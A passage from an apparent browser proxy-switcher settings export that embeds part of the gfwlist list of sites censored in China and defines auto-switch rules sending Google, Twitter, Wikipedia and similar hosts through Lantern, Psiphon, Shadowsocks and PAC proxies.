org\\n|http://evchk.wikia.com\\ncn.uncyclopedia.wikia.com\\nzh.uncyclopedia.wikia.com\\n||wikileaks.ch\\n||wikileaks.de\\n||wikileaks.eu\\n||wikileaks.lu\\n.wikileaks.org\\n||wikileaks.org\\n||wikileaks.pl\\n||collateralmurder.com\\n||collateralmurder.org\\nwikilivres.info/wiki/%E9%9B%B6%E5%85%AB%E5%AE%AA%E7%AB%A0\\n||wikimapia.org\\n||wikiwiki.jp\\n||sports.williamhill.com\\n||willw.net\\n||windowsphoneme.com\\nwinwhispers.info\\n||wiredbytes.com\\n||wiredpen.com\\n||wireshark.org\\n.wisdompubs.org\\n.wisevid.com\\n||wisevid.com\\n.witnessleeteaching.com\\n.witopia.net\\n|http://wn.com\\n.wnacg.com\\n.wo.tc\\n||woeser.com\\n|http://woesermiddle-way.net/\\nwolfax.com\\n||wolfax.com\\nwoopie.jp\\n||woopie.jp\\nwoopie.tv\\n||woopie.tv\\n||workatruna.com\\n||workersthebig.net\\n.worldcat.org\\nworldjournal.com\\n\\n!-------------Wordpress Blog-----\\n!-||bhorowitz.com\\n!-||blogmaverick.com\\n!-||blogs.cnn.com\\n!-||blog.drakengren.com\\n!-||fourwallsandaroof.com\\n!-||herbsutter.com\\n!-||hiveminds.co.uk\\n!-||hoparoundtheglobe.com\\n!-||hunbulin.com\\n!-||icanhascheezburger.com\\n!-||support.intensedebate.com\\n!-||menro.me\\n!-||michaeldehaan.net\\n!-||mynokiablog.com\\n!-||nandalala.com\\n!-||p2theme.com\\n!-||pixelbread.com\\n!-||blog.pixelpipe.com\\n!-||blog.polldaddy.com\\n!-||rawfoodsos.com\\n!-||rayous.com\\n!-||semicolonapps.com\\n!-||sharpinsandiego.com\\n!-||smedio.com\\n!-||steveblank.com\\n!-||thebrigade.com\\n!-||blog.thinglabs.com\\n!-||china.blogs.time.com\\n!-||blog.wakoopa.com\\n!-||wattsupwiththat.com\\n!-||webmink.com\\n.wordpress.com\\n|http://*.wordpress.com\\n||wp.com\\n!-||wormsculptor.com\\nwoxinghuiguo.com\\nwow-life.net\\n||wowlegacy.ml\\n.wpoforum.com\\n||wpoforum.com\\n.wqlhw.com\\n.wqyd.org\\n||wqyd.org\\nwrchina.org\\nwretch.cc\\n!-cn.wsj.com/gb/20130215/tec113853.asp\\n.wsj.com\\n||wsj.com\\n.wsjhk.com\\n.wsj.net\\n.wtfpeople.com\\n.wuala.com\\nwuerkaixi.com\\nwufi.org.tw\\n||wufoo.com\\n||wuguoguang.com\\nwujie.net\\nwujieliulan.com\\n||wujieliulan.com\\nwukangrui.net\\nwwitv.com\\nwzyboy.im/post/160\\n\\n!--------------------------XX--------------------------\\n.x-berry.com\\n||x-berry.com\\n||x-art.com\\n||x-wall.org\\nx1949x.com\\nx365x.com\\nxanga.com\\n||xbabe.com\\n.xbookcn.com\\n||xbookcn.com\\n||xcafe.in\\nx.xcity.jp\\n.xcritic.com\\n|http://cdn*.xda-developers.com\\ndestiny.xfiles.to/ubbthreads\\n.xfm.pp.ru\\nxgmyd.com\\nxh4n.cn/blog\\nxhamster.com\\none.xthost.info\\n.xianqiao.net\\n.xiaochuncnjp.com\\ns.xiaod.in\\n.xiaohexie.com\\n||xiaolan.me\\n||xiaoma.org\\n||xiaohexie.com\\nxiezhua.com\\nforum.xinbao.de/forum\\n.xing.com\\n||xing.com\\n.xinmiao.com.hk\\n||xinmiao.com.hk\\nxinsheng.net\\nxinshijue.com\\nxinhuanet.org\\n|http://xinyubbs.net\\n.xiongpian.com\\nxizang-zhiye.org\\nxjp.cc\\n||xjp.cc\\n||xlfmwz.info\\n||xml-training-guide.com\\nxmovies.com\\n||xnxx.com\\nxpdo.net\\n||xpud.org\\n||k2.xrea.com\\n||xtube.com\\nblog.xuite.net\\nvlog.xuite.net\\nxuzhiyong.net\\n||xuchao.org\\nxuchao.net\\n||xuchao.net\\n.xvideos.com\\n.xxbbx.com\\n||xxxx.com.au\\nxys.org\\nxysblogs.org\\nxyy69.com\\nxyy69.info\\n\\n!--------------------------YY--------------------------\\npage.bid.yahoo.com\\nblogs.yahoo.co.jp\\nbuy.yahoo.com.tw/gdsale\\nhk.yahoo.com\\nhk.knowledge.yahoo.com\\nhk.myblog.yahoo.com\\n||hk.news.yahoo.com\\nhk.rd.yahoo.com\\nhk.search.yahoo.com/search\\nhk.video.news.yahoo.com/video\\nmeme.yahoo.com\\n!--tw.yahoo.com\\n||tw.knowledge.yahoo.com\\ntw.myblog.yahoo.com\\n||tw.news.yahoo.com\\npulse.yahoo.com\\nupcoming.yahoo.com\\nvideo.yahoo.com\\n||yahoo.com.hk\\n||yakbutterblues.com\\nyam.com\\n||yam.com\\nyangjianli.com\\nyasni.co.uk\\n||yasukuni.or.jp\\n.ydy.com\\n||yeelou.com\\nyeeyi.com\\nyegle.net\\n||yegle.net\\n||yes123.com.tw\\n||yesasia.com\\n||yesasia.com.hk\\n||yecl.net\\n!--yfrog.com\\n||yhcw.net\\n.yi.org\\n.yibada.com\\n.yibaochina.com\\n.yidio.com\\n||yidio.com\\nyilubbs.com\\nxa.yimg.com\\n.yipub.com\\n||yipub.com\\nyinlei.org/mt\\n.yogichen.org\\n||yogichen.org\\nyong.hu\\n.yorkbbs.ca\\n||youxu.info\\n.yyii.org\\n||yyii.org\\n.yzzk.com\\n||yzzk.com\\n.youjizz.com\\n||youjizz.com\\nyoumaker.com\\nyoupai.org\\n||youpai.org\\n.your-freedom.net\\n||yourepeat.com\\n.yousendit.com\\n||yousendit.com\\nyouthbao.com\\n.youthnetradio.org/tmit/forum\\nblog.youthwant.com.tw\\nshare.youthwant.com.tw\\ntopic.youthwant.com.tw\\n.youporn.com\\n||youporn.com\\n.youporngay.com\\n||youtu.be\\n.youtube.com\\n||youtube.com\\n||youtube-nocookie.com\\n.youtubecn.com\\nyouversion.com\\n||youversion.com\\nblog.youxu.info/2010/03/14/west-chamber\\nytht.net\\nyuanming.net\\n||yunchao.net\\n||yvesgeleyn.com\\nyx51.net\\n||yymaya.com\\n\\n!--------------------------ZZ--------------------------\\nzacebook.com\\n||zannel.com\\n||tap11.com\\n.zaobao.com\\n.zaobao.com.sg\\n||zaobao.com.sg\\n.zaozon.com\\n||zarias.com\\nwww.zaurus.org.uk\\n.zdnet.com.tw/news/software/0,2000085678,20111187,00\\n.zengjinyan.org\\n!--||zeutch.com\\nwww.zfreet.com/post/usejump-browns.html\\nzgzcjj.net\\n.zhanbin.net\\n||zhanbin.net\\n.zhangboli.net\\nzhenghui.org\\n||zhangtianliang.com\\nzhengwunet.org\\nzhenlibu.info\\n||zhenlibu.info\\n|http://zhenxiang.biz\\n.zhinengluyou.com\\n|http://zhongguorenquan.org\\n||zhongguotese.net\\n||zhongmeng.org\\n||zhreader.com\\nzhuichaguoji.org\\n||zhuichaguoji.org\\n.ziddu.com/download\\n||zillionk.com\\nzinio.com\\n||zinio.com\\n||ziplib.com\\n.zkaip.com\\n||zkaip.com\\n||zlib.net/\\nzmw.cn\\nzomobo.net\\n.zonaeuropa.com\\n||zonaeuropa.com\\n||zootool.com\\n.zoozle.net\\nwriter.zoho.com\\n.zshare.net/download\\n.zsrhao.com\\n.zuo.la\\n||zuo.la\\n||zuobiao.me\\n.zuola.com\\n||zuola.com\\n||zvereff.com\\nzyzc9.com\\n\\n!--------------------------Other----------------------\\n!--falun\\nfreenet\\nq=freedom\\nq%3Dfreedom\\nremembering_tiananmen_20_years\\nsearch*safeweb\\nq=triangle\\nq%3DTriangle\\nultrareach\\nultrasurf\\nzhengjian\\n\\n!--Ba Ke\\n%E7%BD%A2%E8%AF%BE\\n!--Bao Tong\\n!--.google.*%E9%B2%8D%E5%BD%A4\\n!--.google.*%E9%AE%91%E5%BD%A4\\n!--Bo Xun\\nsearch*%E5%8D%9A%E8%AE%AF\\n!--Da Ji Yuan\\nsearch*%E5%A4%A7%E7%BA%AA%E5%85%83\\n!--Diao Yu Dao\\nsearch*%E9%92%93%E9%B1%BC%E5%B2%9B\\n!--dong tai wang\\n%E5%8A%A8%E6%80%81%E7%BD%91\\n!--Duo Wei (hans/hant)\\nsearch*%E5%A4%9A%E7%B6%AD\\nsearch*%E5%A4%9A%E7%BB%B4\\nsearch*freegate\\n!--(Li) Fa Hui\\nsearch*%E6%B3%95%E4%BC%9A\\n!--fa lun da fa\\n%E6%B3%95%E8%BD%AE%E5%A4%A7%E6%B3%95\\n!--Fa Lun Gong: Traditional Chinese\\n%E6%B3%95%E8%BC%AA%E5%8A%9F\\n!--Fa Lun Gong: Simplified Chinese\\n%E6%B3%95%E8%BD%AE%E5%8A%9F\\n!--Hu Hai Feng\\n%E8%83%A1%E6%B5%B7%E5%B3%B0\\n!--Hu Hai Qing\\n%E8%83%A1%E6%B5%B7%E6%B8%85\\n!--Hua Hua Gong Zi\\nsearch*%E8%8A%B1%E8%8A%B1%E5%85%AC%E5%AD%90\\n!--Ji Yuan\\nsearch*%BC%CD%D4%AA\\n!--Jia Mi Dai Li (GB/U8)\\nsearch*%BC%D3%C3%DC%B4%FA%C0%ED\\nsearch*%E5%8A%A0%E5%AF%86%E4%BB%A3%E7%90%86\\n!--Jiang Liu Mang\\nsearch*%E6%B1%9F%E6%B5%81%E6%B0%93\\n!--Kan Zhong Guo\\nsearch*%E7%9C%8B%E4%B8%AD%E5%9B%BD\\n!--Liu Si\\nsearch*%E5%85%AD%E5%9B%9B\\n!--Liu Xiao Bo\\n%E5%88%98%E6%99%93%E6%B3%A2\\n!--Mei Guo Zhi Yin\\n%E7%BE%8E%E5%9B%BD%E4%B9%8B%E9%9F%B3\\n!--Min Jin Dang\\n%E6%B0%91%E8%BF%9B%E5%85%9A\\n!--(Nong) Min Yun (Dong Hui)\\n%E6%B0%91%E8%BF%90\\n!--Se Qing\\nsearch*%E8%89%B2%E6%83%85\\n!--Wang Dan\\n%E7%8E%8B%E4%B8%B9\\n!--Wang Te\\nsearch*%E7%BD%91%E7%89%B9\\n!--Wang Xi Zhe\\nsearch*%E7%8E%8B%E5%B8%8C%E5%93%B2\\n!--Wei Jing Sheng\\nsearch*%E9%AD%8F%E4%BA%AC%E7%94%9F\\n!--Wen Zi Yu\\nsearch*%E6%96%87%E5%AD%97%E7%8B%B1\\n!--Wo De Fen Dou\\nsearch*%E6%88%91%E7%9A%84%E5%A5%8B%E6%96%97\\n!--Wu Jie\\nsearch*%E6%97%A0%E7%95%8C\\n!--Xie E\\nsearch*%E9%82%AA%E6%81%B6\\n!--Xin Tang Ren\\nsearch*%E6%96%B0%E5%94%90%E4%BA%BA\\n!--Xin Yu Si\\nsearch*%E6%96%B0%E8%AF%AD%E4%B8%9D\\n!--Xue Yun\\nsearch*%E5%AD%A6%E8%BF%90\\n!--Zhong Gong\\nsearch*%E4%B8%AD%E5%8A%9F\\n!--Zhong Guo Lun Tan\\nsearch*%E4%B8%AD%E5%9B%BD%E8%AE%BA%E5%9D%9B\\n!--Zhong Xuan Bu\\nsearch*%E4%B8%AD%E5%AE%A3%E9%83%A8\\n\\n!-------------Wikipedia Related-------------\\n!---Emergency need only(IP/Port block usage)---\\n!------0------\\n!--||mediawiki.org\\n!--@@||m.mediawiki.org\\n!------1------\\n!--||wikidata.org\\n!--@@||m.wikidata.org\\n!------2------\\n!--||wikimedia.org\\n!--@@||lists.wikimedia.org\\n!--@@||m.wikimedia.org\\n!--@@||phabricator.wikimedia.org\\n!--@@||upload.wikimedia.org\\n!--@@||wikitech.wikimedia.org\\n!------3------\\n!--||wikibooks.org\\n!--@@||m.wikibooks.org\\n!------4------\\n!--||wikiversity.org\\n!--@@||m.wikiversity.org\\n!------5------\\n!--||wikisource.org\\n!--@@||m.wikisource.org\\nzh.wikisource.org\\n!------6------\\n!--||wikiquote.org\\n!--@@||m.wikiquote.org\\n!------7------\\n!--||wikinews.org\\n!--@@||m.wikinews.org\\nzh.wikinews.org\\n!------8------\\n!--||wikivoyage.org\\n!--@@||m.wikivoyage.org\\nzh.wikivoyage.org\\n!------9------\\n!--||wiktionary.org\\n!--@@||m.wiktionary.org\\nzh.wiktionary.org\\n!-----10------\\n!--||wikimediafoundation.org\\n!--@@||m.wikimediafoundation.org\\n!----Main-----\\n!--||wikipedia.org\\nzh.wikipedia.org\\n!--||zh.wikipedia.org\\nzh.m.wikipedia.org\\n|https://zh.m.wikipedia.org\\n!--@@||m.wikipedia.org\\n|https://zh.wikipedia.org\\n\\n!---------------Other Wikis---------------\\n!--Tu Po Wang Luo Shen Cha--Wikibooks\\nzh.wikibooks.org*%E7%AA%81%E7%A0%B4%E7%BD%91%E7%BB%9C%E5%AE%A1%E6%9F%A5\\n\\n!------------TW Gov-------------------------\\n.gov.tw\\n@@||tax.nat.gov.tw\\n@@||moe.gov.tw\\n@@||cwb.gov.tw\\n@@||npm.gov.tw\\n@@||yatsen.gov.tw\\n@@||mvdis.gov.tw\\n@@||stdtime.gov.tw\\n@@||nmmba.gov.tw\\n@@||ntdmh.gov.tw\\n@@||grb.gov.tw\\n@@||tpde.aide.gov.tw\\n@@||matsu-news.gov.tw\\n@@||dapu-house.gov.tw\\n@@||vghtc.gov.tw\\n@@||aide.gov.tw\\n@@||hchcc.gov.tw\\n@@||ntuh.gov.tw\\n@@||nhri.gov.tw\\n@@||nstm.gov.tw\\n@@||ntsec.gov.tw\\n@@||ner.gov.tw\\n@@||nmtl.gov.tw\\n@@||ntl.gov.tw\\n@@||pet.gov.tw\\n@@||khcc.gov.tw\\n@@||nmmba.gov.tw\\n@@||khms.gov.tw\\n@@||wanfang.gov.tw\\n@@||nict.gov.tw\\n@@||arte.gov.tw\\n@@||nmh.gov.tw\\n@@||nmp.gov.tw\\n@@||tphcc.gov.tw\\n@@||iner.gov.tw\\n@@||tncsec.gov.tw\\n@@||nspo.gov.tw\\n@@||aide.gov.tw\\n@@||ncree.gov.tw\\n@@||vghks.gov.tw\\n@@||tchb.gov.tw\\n@@||pabp.gov.tw\\n@@||itrc.gov.tw\\n@@||df.gov.tw\\n@@||womenbusiness.nyc.gov.tw\\n@@||gsn-cert.nat.gov.tw\\n@@||kk.gov.tw\\n@@||thbstc.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||klccab.gov.tw\\n@@||yvtc.gov.tw\\n@@||aftygh.gov.tw\\n@@||klra.gov.tw\\n@@||lungtanhr.gov.tw\\n@@||taoyuan.gov.tw\\n@@||hcc.gov.tw\\n@@||nvri.gov.tw\\n@@||nmvttc.gov.tw\\n@@||kmh.gov.tw\\n@@||patehr.gov.tw\\n@@||nerch.gov.tw\\n@@||kmseh.gov.tw\\n@@||nertt.gov.tw\\n@@||cycab.gov.tw\\n@@||chukuang.gov.tw\\n@@||gysd.nyc.gov.tw\\n@@||cp-house.gov.tw\\n@@||vghtpe.gov.tw\\n@@||etraining.gov.tw\\n@@||stag.gov.tw\\n@@||bdhr.gov.tw\\n@@||tcsac.gov.tw\\n@@||imagesblog.gio.gov.tw\\n@@||arte.gov.tw\\n@@||dmtip.gov.tw\\n@@||chccc.gov.tw\\n@@||hengchuen.gov.tw\\n@@||hsinchu-cc.gov.tw\\n@@||921.gov.tw\\n@@||ncdr.nat.gov.tw\\n@@||4pppc.gov.tw\\n@@||klsio.gov.tw\\n@@||nici.nat.gov.tw\\n@@||cromotc.nat.gov.tw\\n@@||taitung-house.gov.tw\\n\\n!-----IP-----\\n174.142.105.153\\n69.65.19.160\\n\\n!-----Whitelist-----\\n@@||aliyun.com\\n@@||baidu.com\\n!--@@||bing.com\\n@@||bt.byr.cn\\n@@||chinaso.com\\n@@||dl.google.com\\n@@||fonts.googleapis.com\\n@@||csi.gstatic.com\\n@@||fonts.gstatic.com\\n@@||haosou.com\\n@@||forum1.hkgolden.com \\n@@||forum6.hkgolden.com \\n@@||forum9.hkgolden.com \\n@@||articlehtml.hkgolden.com\\n@@||jike.com\\n@@|http://translate.google.cn\\n@@|http://www.google.cn/maps\\n@@||http2.golang.org\\n@@||bt.neu6.edu.cn\\n@@||qq.com\\n@@||sina.cn\\n@@||sina.com.cn\\n@@||sogou.com\\n@@||so.com\\n@@||soso.com\\n@@||yahoo.cn\\n@@||youdao.com\\n@@||zhongsou.com\\n@@|https://autoproxy.org\\n@@|http://ime.baidu.jp\\n!----------------EOF----------------\\n\",\"sourceUrl\":\"https://raw.githubusercontent.com/gfwlist/gfwlist/master/gfwlist.txt\"},\"+自动切换 Lantern\":{\"color\":\"#dd6633\",\"defaultProfileName\":\"__ruleListOf_自动切换 Lantern\",\"name\":\"自动切换 Lantern\",\"profileType\":\"SwitchProfile\",\"revision\":\"151e36959bd\",\"rules\":[{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.armorgames.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tools.google.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.goldenfrog.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com.*\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google-analytics.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleapis.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googlecode.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleusercontent.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gstatic.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"goo.gl\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sourceforge.net\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sf.net\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"t.co\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tweetdeck.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.twimg.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.wikipedia.org\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.ytimg.com\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.clipconverter.cc\"},\"profileName\":\"Lantern for 8787\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gravatar.com\"},\"profileName\":\"Lantern for 8787\"}]},\"+自动切换 PAC 1\":{\"color\":\"#4477bb\",\"defaultProfileName\":\"__ruleListOf_自动切换 PAC 1\",\"name\":\"自动切换 PAC 1\",\"profileType\":\"SwitchProfile\",\"revision\":\"151e3693f84\",\"rules\":[{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.armorgames.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tools.google.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.goldenfrog.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com.*\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google-analytics.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleapis.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googlecode.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleusercontent.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gstatic.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"goo.gl\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sourceforge.net\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sf.net\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"t.co\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tweetdeck.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.twimg.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.wikipedia.org\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.ytimg.com\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.clipconverter.cc\"},\"profileName\":\"PAC 1 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gravatar.com\"},\"profileName\":\"PAC 1 for 25\"}]},\"+自动切换 PAC 2\":{\"color\":\"#0000ff\",\"defaultProfileName\":\"__ruleListOf_自动切换 PAC 2\",\"name\":\"自动切换 PAC 2\",\"profileType\":\"SwitchProfile\",\"revision\":\"151e36925c9\",\"rules\":[{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.armorgames.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tools.google.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.goldenfrog.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com.*\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google-analytics.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleapis.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googlecode.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleusercontent.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gstatic.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"goo.gl\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sourceforge.net\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sf.net\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"t.co\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tweetdeck.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.twimg.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.wikipedia.org\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.ytimg.com\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.clipconverter.cc\"},\"profileName\":\"PAC 2 for 25\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gravatar.com\"},\"profileName\":\"PAC 2 for 25\"}]},\"+自动切换 Psiphon\":{\"color\":\"#ffff00\",\"defaultProfileName\":\"__ruleListOf_自动切换 Psiphon\",\"name\":\"自动切换 Psiphon\",\"profileType\":\"SwitchProfile\",\"revision\":\"151e36909ca\",\"rules\":[{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.armorgames.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tools.google.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.goldenfrog.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com.*\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google-analytics.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleapis.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googlecode.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleusercontent.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gstatic.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"goo.gl\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sourceforge.net\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sf.net\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"t.co\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tweetdeck.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.twimg.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.wikipedia.org\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.ytimg.com\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.clipconverter.cc\"},\"profileName\":\"Psiphon for 8887\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gravatar.com\"},\"profileName\":\"Psiphon for 8887\"}]},\"+自动切换 SS\":{\"color\":\"#ff0000\",\"defaultProfileName\":\"__ruleListOf_自动切换 SS\",\"name\":\"自动切换 SS\",\"profileType\":\"SwitchProfile\",\"revision\":\"151e368f121\",\"rules\":[{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.armorgames.com\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tools.google.com\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.goldenfrog.com\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com.*\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google-analytics.com\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleapis.com\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googlecode.com\"},\"profileName\":\"SS for 